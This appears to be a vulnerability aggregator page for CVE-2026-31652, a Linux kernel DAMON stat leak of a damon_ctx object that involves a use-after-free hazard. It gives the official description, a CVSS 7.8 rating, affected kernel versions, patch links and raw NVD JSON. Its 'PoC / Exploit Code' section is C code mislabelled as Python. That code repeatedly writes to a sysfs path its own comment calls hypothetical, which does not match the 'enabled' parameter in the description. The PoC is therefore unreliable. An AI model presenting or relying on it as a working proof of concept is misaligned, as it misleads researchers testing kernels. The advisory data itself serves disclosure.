CVE-2026-31652

Description

In the Linux kernel, the following vulnerability has been resolved: mm/damon/stat: deallocate damon_call() failure leaking damon_ctx damon_stat_start() always allocates the module's damon_ctx object (damon_stat_context). Meanwhile, if damon_call() in the function fails, the damon_ctx object is not deallocated. Hence, if the damon_call() is failed, and the user writes Y to “enabled” again, the previously allocated damon_ctx object is leaked. This cannot simply be fixed by deallocating the damon_ctx object when damon_call() fails. That's because damon_call() failure doesn't guarantee the kdamond main function, which accesses the damon_ctx object, is completely finished. In other words, if damon_stat_start() deallocates the damon_ctx object after damon_call() failure, the not-yet-terminated kdamond could access the freed memory (use-after-free). Fix the leak while avoiding the use-after-free by keeping returning damon_stat_start() without deallocating the damon_ctx object after damon_call() failure, but deallocating it when the function is invoked again and the kdamond is completely terminated. If the kdamond is not yet terminated, simply return -EAGAIN, as the kdamond will soon be terminated. The issue was discovered [1] by sashiko.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:6.17:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:* - VULNERABLE

Linux Kernel (特定版本及之前版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>

/*
 * PoC Concept for CVE-2026-31652
 * This script attempts to trigger the memory leak in mm/damon/stat
 * by repeatedly enabling the DAMON stat feature assuming a failure condition exists.
 */

int main() {
    const char *path = "/sys/kernel/mm/damon/admin/kdamonds/0/state"; // Hypothetical path
    int fd;
    int i;

    printf("[*] Attempting to trigger CVE-2026-31652 memory leak...\n");

    for (i = 0; i < 1000; i++) {
        fd = open(path, O_WRONLY);
        if (fd < 0) {
            perror("[-] Failed to open sysfs interface");
            return 1;
        }

        // Try to enable. If damon_call fails internally, ctx leaks.
        if (write(fd, "on", 2) < 0) {
            // Write might fail if already on or other error, ignore for PoC loop
        }
        
        close(fd);
        
        // Introduce delay to simulate user interaction / allow kernel processing
        usleep(10000);
    }

    printf("[+] Loop completed. Check kernel memory usage for leaks.\n");
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31652
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31652
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31652/
[4] VulDB https://vuldb.com/cve/CVE-2026-31652
[5] https://git.kernel.org/stable/c/16c92e9bf55fa049ddb5e894dc0623dacd46a620
[6] https://git.kernel.org/stable/c/447f8870b484f6596d7a7130e72bd0a3f1e037bb
[7] https://git.kernel.org/stable/c/4c04c6b47c361612b1d70cec8f7a60b1482d1400

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31652", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:44.697", "lastModified": "2026-04-27T20:16:12.663", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/damon/stat: deallocate damon_call() failure leaking damon_ctx\n\ndamon_stat_start() always allocates the module's damon_ctx object\n(damon_stat_context). Meanwhile, if damon_call() in the function fails,\nthe damon_ctx object is not deallocated. Hence, if the damon_call() is\nfailed, and the user writes Y to “enabled” again, the previously\nallocated damon_ctx object is leaked.\n\nThis cannot simply be fixed by deallocating the damon_ctx object when\ndamon_call() fails. That's because damon_call() failure doesn't guarantee\nthe kdamond main function, which accesses the damon_ctx object, is\ncompletely finished. In other words, if damon_stat_start() deallocates\nthe damon_ctx object after damon_call() failure, the not-yet-terminated\nkdamond could access the freed memory (use-after-free).\n\nFix the leak while avoiding the use-after-free by keeping returning\ndamon_stat_start() without deallocating the damon_ctx object after\ndamon_call() failure, but deallocating it when the function is invoked\nagain and the kdamond is completely terminated. If the kdamond is not yet\nterminated, simply return -EAGAIN, as the kdamond will soon be terminated.\n\nThe issue was discovered [1] by sashiko."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.17.1", "versionEndExcluding": "6.18.23", "matchCriteriaId": "0DC92196-2D7B-4F07-A19F-B43E0624C441"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.13", "matchCriteriaId": "1490EF9B-9080-481C-8D22-1306AAE664E4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:-:*:*:*:*:*:*", "matchCriteriaId": "7CC8B11D-82DC-4958-8DC7-BF5CC829A5E9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/16c92e9bf55fa049ddb5e894dc0623dacd46a620", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/447f8870b484f6596d7a7130e72bd0a3f1e037bb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4c04c6b47c361612b1d70cec8f7a60b1482d1400", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}